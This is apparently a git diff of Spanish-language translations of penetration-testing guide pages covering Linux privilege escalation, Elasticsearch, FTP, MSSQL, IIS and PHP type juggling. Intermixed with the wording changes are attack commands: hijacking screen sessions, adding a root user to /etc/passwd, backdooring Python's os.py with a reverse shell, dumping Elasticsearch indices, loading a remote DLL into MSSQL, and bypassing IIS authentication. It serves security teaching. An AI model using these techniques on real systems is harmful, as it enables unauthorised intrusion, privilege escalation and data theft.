Si obtienes un error como
|
||||
Si recibes un error como
|
||||
```shell-session
|
||||
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
|
||||
```
|
||||
@ -1075,14 +1075,14 @@ setfacl -b file.txt #Remove the ACL of the file
|
||||
```bash
|
||||
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
||||
```
|
||||
## Abrir sesiones de shell
|
||||
## Open shell sessions
|
||||
|
||||
En **versiones antiguas** puedes **secuestrar** algunas sesiones de **shell** de un usuario diferente (**root**).\
|
||||
En **versiones más recientes** solo podrás **conectarte** a sesiones de pantalla de **tu propio usuario**. Sin embargo, podrías encontrar **información interesante dentro de la sesión**.
|
||||
|
||||
### Secuestro de sesiones de pantalla
|
||||
### screen sessions hijacking
|
||||
|
||||
**Listar sesiones de pantalla**
|
||||
**List screen sessions**
|
||||
```bash
|
||||
screen -ls
|
||||
screen -ls <username>/ # Show another user' screen sessions
|
||||
@ -1095,11 +1095,11 @@ screen -dr <session> #The -d is to detach whoever is attached to it
|
||||
screen -dr 3350.foo #In the example of the image
|
||||
screen -x [user]/[session id]
|
||||
```
|
||||
## secuestro de sesiones tmux
|
||||
## secuestro de sesiones de tmux
|
||||
|
||||
Este era un problema con **versiones antiguas de tmux**. No pude secuestrar una sesión de tmux (v2.1) creada por root como un usuario no privilegiado.
|
||||
|
||||
**Listar sesiones tmux**
|
||||
**Listar sesiones de tmux**
|
||||
```bash
|
||||
tmux ls
|
||||
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
|
||||
@ -1139,7 +1139,7 @@ Especifica si el root puede iniciar sesión usando ssh, el valor predeterminado
|
||||
- `yes`: el root puede iniciar sesión usando contraseña y clave privada
|
||||
- `without-password` o `prohibit-password`: el root solo puede iniciar sesión con una clave privada
|
||||
- `forced-commands-only`: el root solo puede iniciar sesión usando clave privada y si se especifican las opciones de comandos
|
||||
- `no`: no
|
||||
- `no` : no
|
||||
|
||||
### AuthorizedKeysFile
|
||||
|
||||
@ -1200,11 +1200,11 @@ openssl passwd -1 -salt hacker hacker
|
||||
mkpasswd -m SHA-512 hacker
|
||||
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
|
||||
```
|
||||
Luego agrega el usuario `hacker` y agrega la contraseña generada.
|
||||
Luego agrega el usuario `hacker` y añade la contraseña generada.
|
||||
```
|
||||
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
|
||||
```
|
||||
Ejemplo: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
|
||||
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
|
||||
|
||||
Ahora puedes usar el comando `su` con `hacker:hacker`
|
||||
|
||||
@ -1235,7 +1235,7 @@ Las siguientes carpetas pueden contener copias de seguridad o información inter
|
||||
```bash
|
||||
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
|
||||
```
|
||||
### Archivos en ubicaciones extrañas/propietarios
|
||||
### Archivos de ubicación extraña/propietarios
|
||||
```bash
|
||||
#root owned files in /home folders
|
||||
find /home -user root 2>/dev/null
|
||||
@ -1319,7 +1319,7 @@ No voy a listar aquí cómo hacer todo esto, pero si estás interesado, puedes r
|
||||
|
||||
### Secuestro de bibliotecas de Python
|
||||
|
||||
Si sabes de **dónde** se va a ejecutar un script de python y **puedes escribir dentro** de esa carpeta o **modificar bibliotecas de python**, puedes modificar la biblioteca OS y ponerle un backdoor (si puedes escribir donde se va a ejecutar el script de python, copia y pega la biblioteca os.py).
|
||||
Si sabes de **dónde** se va a ejecutar un script de python y **puedes escribir dentro** de esa carpeta o puedes **modificar bibliotecas de python**, puedes modificar la biblioteca OS y ponerle un backdoor (si puedes escribir donde se va a ejecutar el script de python, copia y pega la biblioteca os.py).
|
||||
|
||||
Para **poner un backdoor en la biblioteca**, solo agrega al final de la biblioteca os.py la siguiente línea (cambia IP y PUERTO):
|
||||
```python
|
||||
@ -1344,7 +1344,7 @@ Esta vulnerabilidad es muy similar a [**CVE-2016-1247**](https://www.cvedetails.
|
||||
|
||||
Si, por cualquier motivo, un usuario puede **escribir** un script `ifcf-<cualquier cosa>` en _/etc/sysconfig/network-scripts_ **o** puede **ajustar** uno existente, entonces tu **sistema está comprometido**.
|
||||
|
||||
Los scripts de red, _ifcg-eth0_ por ejemplo, se utilizan para conexiones de red. Se ven exactamente como archivos .INI. Sin embargo, son \~sourced\~ en Linux por Network Manager (dispatcher.d).
|
||||
Los scripts de red, _ifcg-eth0_ por ejemplo, se utilizan para conexiones de red. Se ven exactamente como archivos .INI. Sin embargo, son \~sourced\~ en Linux por el Network Manager (dispatcher.d).
|
||||
|
||||
En mi caso, el atributo `NAME=` en estos scripts de red no se maneja correctamente. Si tienes **espacio en blanco en el nombre, el sistema intenta ejecutar la parte después del espacio en blanco**. Esto significa que **todo lo que esté después del primer espacio en blanco se ejecuta como root**.
|
||||
|
||||
@ -1370,7 +1370,7 @@ Por otro lado, `/etc/init` está asociado con **Upstart**, una **gestión de ser
|
||||
nfs-no_root_squash-misconfiguration-pe.md
|
||||
{{#endref}}
|
||||
|
||||
### Escapando de Shells restringidos
|
||||
### Escape de Shells restringidos
|
||||
|
||||
{{#ref}}
|
||||
escaping-from-limited-bash.md
|
||||
@ -1382,7 +1382,7 @@ escaping-from-limited-bash.md
|
||||
cisco-vmanage.md
|
||||
{{#endref}}
|
||||
|
||||
## Protecciones de seguridad del Kernel
|
||||
## Protecciones de seguridad del kernel
|
||||
|
||||
- [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
|
||||
- [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map)
|
||||
@ -1408,14 +1408,14 @@ cisco-vmanage.md
|
||||
|
||||
## Referencias
|
||||
|
||||
- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\
|
||||
- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\
|
||||
- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\\
|
||||
- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\\
|
||||
- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\\
|
||||
- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\\
|
||||
- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\\
|
||||
- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\\
|
||||
- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
|
||||
- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)
|
||||
- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)
|
||||
- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)
|
||||
- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)
|
||||
- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)
|
||||
- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)
|
||||
- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)
|
||||
- [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i)
|
||||
- [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/)
|
||||
- [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html)
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Información básica
|
||||
|
||||
Elasticsearch es un motor de búsqueda y análisis **distribuido**, **de código abierto** para **todo tipo de datos**. Es conocido por su **velocidad**, **escalabilidad** y **APIs REST simples**. Construido sobre Apache Lucene, fue lanzado por primera vez en 2010 por Elasticsearch N.V. (ahora conocido como Elastic). Elasticsearch es el componente central del Elastic Stack, una colección de herramientas de código abierto para la ingestión, enriquecimiento, almacenamiento, análisis y visualización de datos. Este stack, comúnmente referido como ELK Stack, también incluye Logstash y Kibana, y ahora tiene agentes de envío de datos ligeros llamados Beats.
|
||||
Elasticsearch es un motor de búsqueda y análisis **distribuido**, **de código abierto** para **todo tipo de datos**. Es conocido por su **velocidad**, **escalabilidad** y **APIs REST simples**. Construido sobre Apache Lucene, fue lanzado por primera vez en 2010 por Elasticsearch N.V. (ahora conocido como Elastic). Elasticsearch es el componente central del Elastic Stack, una colección de herramientas de código abierto para la ingestión, enriquecimiento, almacenamiento, análisis y visualización de datos. Este stack, comúnmente conocido como ELK Stack, también incluye Logstash y Kibana, y ahora tiene agentes de envío de datos ligeros llamados Beats.
|
||||
|
||||
### ¿Qué es un índice de Elasticsearch?
|
||||
|
||||
@ -39,7 +39,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user"
|
||||
```bash
|
||||
{"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401}
|
||||
```
|
||||
Eso significa que la autenticación está configurada y **necesitas credenciales válidas** para obtener cualquier información de Elasticsearch. Luego, puedes [**intentar forzarla**](../generic-hacking/brute-force.md#elasticsearch) (utiliza autenticación básica HTTP, por lo que cualquier cosa que pueda forzar la autenticación básica HTTP se puede usar).\
|
||||
Eso significa que la autenticación está configurada y **necesitas credenciales válidas** para obtener información de Elasticsearch. Luego, puedes [**intentar forzarla**](../generic-hacking/brute-force.md#elasticsearch) (utiliza autenticación básica HTTP, por lo que cualquier cosa que pueda forzar la autenticación básica HTTP se puede usar).\
|
||||
Aquí tienes una **lista de nombres de usuario predeterminados**: _**elastic** (superusuario), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Las versiones más antiguas de Elasticsearch tienen la contraseña predeterminada **changeme** para este usuario.
|
||||
```
|
||||
curl -X GET http://user:password@IP:9200/
|
||||
@ -55,9 +55,9 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user"
|
||||
#Get more information about the rights of an user:
|
||||
curl -X GET "ELASTICSEARCH-SERVER:9200/_security/user/<USERNAME>"
|
||||
```
|
||||
### Información de Elastic
|
||||
### Elastic Info
|
||||
|
||||
Aquí hay algunos endpoints a los que puedes **acceder a través de GET** para **obtener** información sobre elasticsearch:
|
||||
Aquí hay algunos endpoints a los que puedes **acceder vía GET** para **obtener** información sobre elasticsearch:
|
||||
|
||||
| \_cat | /\_cluster | /\_security |
|
||||
| ------------------------------ | ----------------------------- | ------------------------ |
|
||||
@ -91,7 +91,7 @@ Además, si accedes a `/_cat`, la respuesta contendrá los endpoints `/_cat/*` s
|
||||
|
||||
En `/_security/user` (si la autenticación está habilitada) puedes ver qué usuario tiene el rol `superuser`.
|
||||
|
||||
### Índices
|
||||
### Indices
|
||||
|
||||
Puedes **reunir todos los índices** accediendo a `http://10.10.10.115:9200/_cat/indices?v`
|
||||
```
|
||||
@ -112,13 +112,13 @@ Si deseas **volcar todo el contenido** de un índice puedes acceder a: `http://h
|
||||
|
||||
_Tómate un momento para comparar el contenido de cada documento (entrada) dentro del índice bank y los campos de este índice que vimos en la sección anterior._
|
||||
|
||||
Así que, en este punto puedes notar que **hay un campo llamado "total" dentro de "hits"** que indica que **se encontraron 1000 documentos** dentro de este índice pero solo se recuperaron 10. Esto se debe a que **por defecto hay un límite de 10 documentos**.\
|
||||
Así que, en este punto, puedes notar que **hay un campo llamado "total" dentro de "hits"** que indica que **se encontraron 1000 documentos** dentro de este índice pero solo se recuperaron 10. Esto se debe a que **por defecto hay un límite de 10 documentos**.\
|
||||
Pero, ahora que sabes que **este índice contiene 1000 documentos**, puedes **volcar todos ellos** indicando el número de entradas que deseas volcar en el parámetro **`size`**: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
|
||||
\&#xNAN;_Nota: Si indicas un número mayor, todas las entradas se volcarán de todos modos, por ejemplo, podrías indicar `size=9999` y sería extraño si hubiera más entradas (pero deberías verificar)._
|
||||
\_Nota: Si indicas un número mayor, todas las entradas se volcarán de todos modos, por ejemplo, podrías indicar `size=9999` y sería extraño si hubiera más entradas (pero deberías verificar)._
|
||||
|
||||
### Volcar todo
|
||||
|
||||
Para volcar todo, puedes simplemente ir a la **misma ruta que antes pero sin indicar ningún índice** `http://host:9200/_search?pretty=true` como `http://10.10.10.115:9200/_search?pretty=true`\
|
||||
Para volcar todo, simplemente puedes ir a la **misma ruta que antes pero sin indicar ningún índice** `http://host:9200/_search?pretty=true` como `http://10.10.10.115:9200/_search?pretty=true`\
|
||||
Recuerda que en este caso se aplicará el **límite predeterminado de 10** resultados. Puedes usar el parámetro `size` para volcar una **mayor cantidad de resultados**. Lee la sección anterior para más información.
|
||||
|
||||
### Buscar
|
||||
|
||||
@ -4,17 +4,17 @@
|
||||
|
||||
## Información Básica
|
||||
|
||||
El **File Transfer Protocol (FTP)** sirve como un protocolo estándar para la transferencia de archivos a través de una red de computadoras entre un servidor y un cliente.\
|
||||
El **Protocolo de Transferencia de Archivos (FTP)** sirve como un protocolo estándar para la transferencia de archivos a través de una red de computadoras entre un servidor y un cliente.\
|
||||
Es un protocolo **de texto plano** que utiliza como **carácter de nueva línea `0x0d 0x0a`** por lo que a veces necesitas **conectarte usando `telnet`** o **`nc -C`**.
|
||||
|
||||
**Puerto por Defecto:** 21
|
||||
**Puerto Predeterminado:** 21
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
21/tcp open ftp
|
||||
```
|
||||
### Conexiones Activas y Pasivas
|
||||
|
||||
En **FTP Activo**, el **cliente** FTP primero **inicia** la **conexión** de control desde su puerto N al puerto de comando del servidor FTP – puerto 21. El **cliente** luego **escucha** en el puerto **N+1** y envía el puerto N+1 al servidor FTP. El **servidor** FTP luego **inicia** la **conexión** de datos, desde **su puerto M al puerto N+1** del cliente FTP.
|
||||
En **FTP Activo**, el **cliente** FTP primero **inicia** la **conexión** de control desde su puerto N al puerto de comando del servidor FTP – puerto 21. El **cliente** luego **escucha** en el puerto **N+1** y envía el puerto N+1 al servidor FTP. El **Servidor** FTP luego **inicia** la **conexión** de datos, desde **su puerto M al puerto N+1** del cliente FTP.
|
||||
|
||||
Pero, si el cliente FTP tiene un firewall configurado que controla las conexiones de datos entrantes desde el exterior, entonces el FTP activo puede ser un problema. Y, una solución viable para eso es el FTP Pasivo.
|
||||
|
||||
@ -88,8 +88,8 @@ STAT
|
||||
### Inicio de sesión anónimo
|
||||
|
||||
_anonymous : anonymous_\
|
||||
\&#xNAN;_anonymous :_\
|
||||
\&#xNAN;_ftp : ftp_
|
||||
\_anonymous :_\
|
||||
\_ftp : ftp_
|
||||
```bash
|
||||
ftp <IP>
|
||||
>anonymous
|
||||
@ -122,7 +122,7 @@ Tenga en cuenta que si una **aplicación web** está enviando datos controlados
|
||||
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
|
||||
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
|
||||
```
|
||||
Si tu usuario/contraseña tiene caracteres especiales, se puede usar el [siguiente comando](https://stackoverflow.com/a/113900/13647948):
|
||||
Si su usuario/contraseña tiene caracteres especiales, se puede usar el [siguiente comando](https://stackoverflow.com/a/113900/13647948):
|
||||
```bash
|
||||
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
```
|
||||
@ -168,7 +168,7 @@ Es muy probable que esto **lance un error como** _**Socket no writable**_ **porq
|
||||
posts.txt
|
||||
{{#endfile}}
|
||||
|
||||
- Intenta **llenar la solicitud con datos "basura" relativos al protocolo** (hablando con FTP, tal vez solo comandos basura o repitiendo la instrucción `RETR` para obtener el archivo)
|
||||
- Intenta **llenar la solicitud con datos "basura" relativos al protocolo** (hablando con FTP quizás solo comandos basura o repitiendo la instrucción `RETR` para obtener el archivo)
|
||||
- Simplemente **llena la solicitud con muchos caracteres nulos u otros** (divididos en líneas o no)
|
||||
|
||||
De todos modos, aquí tienes un [viejo ejemplo sobre cómo abusar de esto para hacer que un servidor FTP descargue un archivo de otro servidor FTP.](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
De [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||
|
||||
> **Microsoft SQL Server** es un sistema de gestión de **bases de datos relacionales** desarrollado por Microsoft. Como servidor de bases de datos, es un producto de software cuya función principal es almacenar y recuperar datos según lo solicitado por otras aplicaciones de software, que pueden ejecutarse en la misma computadora o en otra computadora a través de una red (incluido Internet).\\
|
||||
> **Microsoft SQL Server** es un sistema de gestión de bases de datos **relacional** desarrollado por Microsoft. Como servidor de bases de datos, es un producto de software cuya función principal es almacenar y recuperar datos según lo solicitado por otras aplicaciones de software, que pueden ejecutarse en la misma computadora o en otra computadora a través de una red (incluido Internet).
|
||||
|
||||
**Puerto por defecto:** 1433
|
||||
```
|
||||
@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
|
||||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
> [!NOTE]
|
||||
> Si **no** **tienes credenciales** puedes intentar adivinarlas. Puedes usar nmap o metasploit. Ten cuidado, puedes **bloquear cuentas** si fallas en el inicio de sesión varias veces usando un nombre de usuario existente.
|
||||
> Si **no tienes** **credenciales** puedes intentar adivinarlas. Puedes usar nmap o metasploit. Ten cuidado, puedes **bloquear cuentas** si fallas en el inicio de sesión varias veces usando un nombre de usuario existente.
|
||||
|
||||
#### Metasploit (necesita credenciales)
|
||||
```bash
|
||||
@ -276,7 +276,7 @@ Puedes ver cómo usar estas herramientas en:
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
### Abusando de los Enlaces de confianza de MSSQL
|
||||
### Abusando de los enlaces de confianza de MSSQL
|
||||
|
||||
[**Lee esta publicación**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **para encontrar más información sobre cómo abusar de esta función:**
|
||||
|
||||
@ -310,7 +310,7 @@ Por defecto, `MSSQL` permite la lectura de archivos **en cualquier archivo del s
|
||||
```sql
|
||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||
```
|
||||
Sin embargo, la opción **`BULK`** requiere el permiso **`ADMINISTER BULK OPERATIONS`** o **`ADMINISTER DATABASE BULK OPERATIONS`**.
|
||||
Sin embargo, la opción **`BULK`** requiere el permiso **`ADMINISTER BULK OPERATIONS`** o el permiso **`ADMINISTER DATABASE BULK OPERATIONS`**.
|
||||
```sql
|
||||
# Check if you have it
|
||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||
@ -345,7 +345,7 @@ GO
|
||||
|
||||
Microsoft SQL Server proporciona **múltiples procedimientos almacenados extendidos** que te permiten interactuar no solo con la red, sino también con el sistema de archivos e incluso con el [**Registro de Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
||||
|
||||
| **Regular** | **Conocimiento de Instancia** |
|
||||
| **Regular** | **Conocimiento de Instancia** |
|
||||
| --------------------------- | ------------------------------------ |
|
||||
| sys.xp_regread | sys.xp_instance_regread |
|
||||
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
|
||||
@ -370,13 +370,13 @@ Para **más ejemplos** consulta la [**fuente original**](https://blog.waynesheff
|
||||
|
||||
### RCE con la función definida por el usuario de MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
Es posible **cargar un dll de .NET dentro de MSSQL con funciones personalizadas**. Sin embargo, **requiere acceso `dbo`** por lo que necesitas una conexión con la base de datos **como `sa` o un rol de Administrador**.
|
||||
Es posible **cargar un .NET dll dentro de MSSQL con funciones personalizadas**. Sin embargo, **requiere acceso `dbo`** por lo que necesitas una conexión con la base de datos **como `sa` o un rol de Administrador**.
|
||||
|
||||
[**Siguiendo este enlace**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver un ejemplo.
|
||||
|
||||
### RCE con `autoadmin_task_agents`
|
||||
|
||||
Según[ **este post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), también es posible cargar un dll remoto y hacer que MSSQL lo ejecute con algo como:
|
||||
Según [**esta publicación**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), también es posible cargar un dll remoto y hacer que MSSQL lo ejecute con algo como:
|
||||
```sql
|
||||
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
|
||||
```
|
||||
@ -484,7 +484,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
|
||||
```
|
||||
### Suplantación de otros usuarios
|
||||
|
||||
SQL Server tiene un permiso especial, llamado **`IMPERSONATE`**, que **permite al usuario que ejecuta tomar las permisos de otro usuario** o inicio de sesión hasta que el contexto se restablezca o la sesión termine.
|
||||
SQL Server tiene un permiso especial, llamado **`IMPERSONATE`**, que **permite al usuario que ejecuta tomar los permisos de otro usuario** o inicio de sesión hasta que el contexto se restablezca o la sesión termine.
|
||||
```sql
|
||||
# Find users you can impersonate
|
||||
SELECT distinct b.name
|
||||
@ -505,7 +505,7 @@ enum_links
|
||||
use_link [NAME]
|
||||
```
|
||||
> [!NOTE]
|
||||
> Si puedes suplantar a un usuario, incluso si no es sysadmin, debes verificar **si el usuario tiene acceso** a otras **bases de datos** o servidores vinculados.
|
||||
> Si puedes suplantar a un usuario, incluso si no es sysadmin, deberías verificar **si el usuario tiene acceso** a otras **bases de datos** o servidores vinculados.
|
||||
|
||||
Ten en cuenta que una vez que eres sysadmin, puedes suplantar a cualquier otro:
|
||||
```sql
|
||||
@ -535,7 +535,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||
|
||||
Un atacante puede extraer las contraseñas de los Servidores Vinculados de SQL Server de las Instancias SQL y obtenerlas en texto claro, otorgando al atacante contraseñas que pueden ser utilizadas para adquirir un mayor control sobre el objetivo. El script para extraer y desencriptar las contraseñas almacenadas para los Servidores Vinculados se puede encontrar [aquí](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
|
||||
Se deben cumplir algunos requisitos y configuraciones para que esta explotación funcione. Primero que nada, debes tener derechos de Administrador en la máquina, o la capacidad de gestionar las Configuraciones de SQL Server.
|
||||
Se deben realizar algunos requisitos y configuraciones para que esta explotación funcione. Primero que nada, debes tener derechos de Administrador en la máquina, o la capacidad de gestionar las Configuraciones de SQL Server.
|
||||
|
||||
Después de validar tus permisos, necesitas configurar tres cosas, que son las siguientes:
|
||||
|
||||
@ -549,7 +549,7 @@ Para más información, consulta los siguientes enlaces sobre este ataque: [Dese
|
||||
|
||||
[Solucionando problemas de la Conexión de Administrador Dedicado de SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
## Escalación de Privilegios Local
|
||||
## Escalación de Privilegios Locales
|
||||
|
||||
El usuario que ejecuta el servidor MSSQL tendrá habilitado el token de privilegio **SeImpersonatePrivilege.**\
|
||||
Probablemente podrás **escalar a Administrador** siguiendo una de estas 2 páginas:
|
||||
|
||||
@ -33,7 +33,7 @@ Puedes subir archivos .config y usarlos para ejecutar código. Una forma de hace
|
||||
|
||||
Más información y técnicas para explotar esta vulnerabilidad [aquí](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||||
|
||||
## Fuerza bruta de descubrimiento de IIS
|
||||
## Descubrimiento de IIS Bruteforce
|
||||
|
||||
Descarga la lista que he creado:
|
||||
|
||||
@ -52,7 +52,7 @@ Fue creada fusionando los contenidos de las siguientes listas:
|
||||
|
||||
Úsala sin añadir ninguna extensión, los archivos que la necesitan ya la tienen.
|
||||
|
||||
## Traversal de ruta
|
||||
## Traversal de Ruta
|
||||
|
||||
### Filtrando código fuente
|
||||
|
||||
@ -61,11 +61,11 @@ Consulta el informe completo en: [https://blog.mindedsecurity.com/2018/10/from-p
|
||||
> [!NOTE]
|
||||
> Como resumen, hay varios archivos web.config dentro de las carpetas de la aplicación con referencias a archivos "**assemblyIdentity**" y "**namespaces**". Con esta información es posible saber **dónde están ubicados los ejecutables** y descargarlos.\
|
||||
> A partir de los **Dlls descargados** también es posible encontrar **nuevos namespaces** donde deberías intentar acceder y obtener el archivo web.config para encontrar nuevos namespaces y assemblyIdentity.\
|
||||
> Además, los archivos **connectionstrings.config** y **global.asax** pueden contener información interesante.\\
|
||||
> Además, los archivos **connectionstrings.config** y **global.asax** pueden contener información interesante.
|
||||
|
||||
En **aplicaciones .Net MVC**, el archivo **web.config** juega un papel crucial al especificar cada archivo binario del que depende la aplicación a través de etiquetas XML **"assemblyIdentity"**.
|
||||
|
||||
### **Explorando archivos binarios**
|
||||
### **Explorando Archivos Binarios**
|
||||
|
||||
Un ejemplo de acceso al archivo **web.config** se muestra a continuación:
|
||||
```markup
|
||||
@ -209,7 +209,7 @@ También puedes usar **metasploit**: `use scanner/http/iis_shortname_scanner`
|
||||
|
||||
Una buena idea para **encontrar el nombre final** de los archivos descubiertos es **preguntar a LLMs** por opciones como se hace en el script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
||||
|
||||
### Bypass de Autenticación Básica
|
||||
### Bypass de autenticación básica
|
||||
|
||||
**Bypass** de una autenticación básica (**IIS 7.5**) intentando acceder a: `/admin:$i30:$INDEX_ALLOCATION/admin.php` o `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
|
||||
@ -239,7 +239,7 @@ ASPXAUTH utiliza la siguiente información:
|
||||
Sin embargo, algunas personas usarán los **valores predeterminados** de estos parámetros y usarán como **cookie el correo electrónico del usuario**. Por lo tanto, si puedes encontrar un sitio web que use la **misma plataforma** que está utilizando la cookie ASPXAUTH y **creas un usuario con el correo electrónico del usuario que deseas suplantar** en el servidor bajo ataque, podrías ser capaz de **usar la cookie del segundo servidor en el primero** y suplantar al usuario.\
|
||||
Este ataque funcionó en este [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||||
|
||||
## Bypass de Autenticación de IIS con contraseñas en caché (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
## Bypass de autenticación de IIS con contraseñas en caché (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
[Informe completo aquí](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Un error en el código **no verificó correctamente la contraseña proporcionada por el usuario**, por lo que un atacante cuyo **hash de contraseña coincide con una clave** que ya está en la **caché** podrá iniciar sesión como ese usuario.
|
||||
```python
|
||||
|
||||
@ -64,7 +64,7 @@ El mismo error ocurre con `strcasecmp()`
|
||||
|
||||
### Conversión de tipos estricta
|
||||
|
||||
Incluso si `===` está **siendo utilizado**, podría haber errores que hacen que la **comparación sea vulnerable** a la **conversión de tipos**. Por ejemplo, si la comparación está **convirtiendo los datos a un tipo diferente de objeto antes de comparar**:
|
||||
Incluso si se está utilizando `===`, podría haber errores que hacen que la comparación sea vulnerable a la conversión de tipos. Por ejemplo, si la comparación está **convirtiendo los datos a un tipo diferente de objeto antes de comparar**:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
@ -74,7 +74,7 @@ Incluso si `===` está **siendo utilizado**, podría haber errores que hacen que
|
||||
|
||||
#### Bypass de nueva línea
|
||||
|
||||
Sin embargo, al delimitar el inicio de la regexp, `preg_match()` **solo verifica la primera línea de la entrada del usuario**, entonces, si de alguna manera puedes **enviar** la entrada en **varias líneas**, podrías ser capaz de eludir esta verificación. Ejemplo:
|
||||
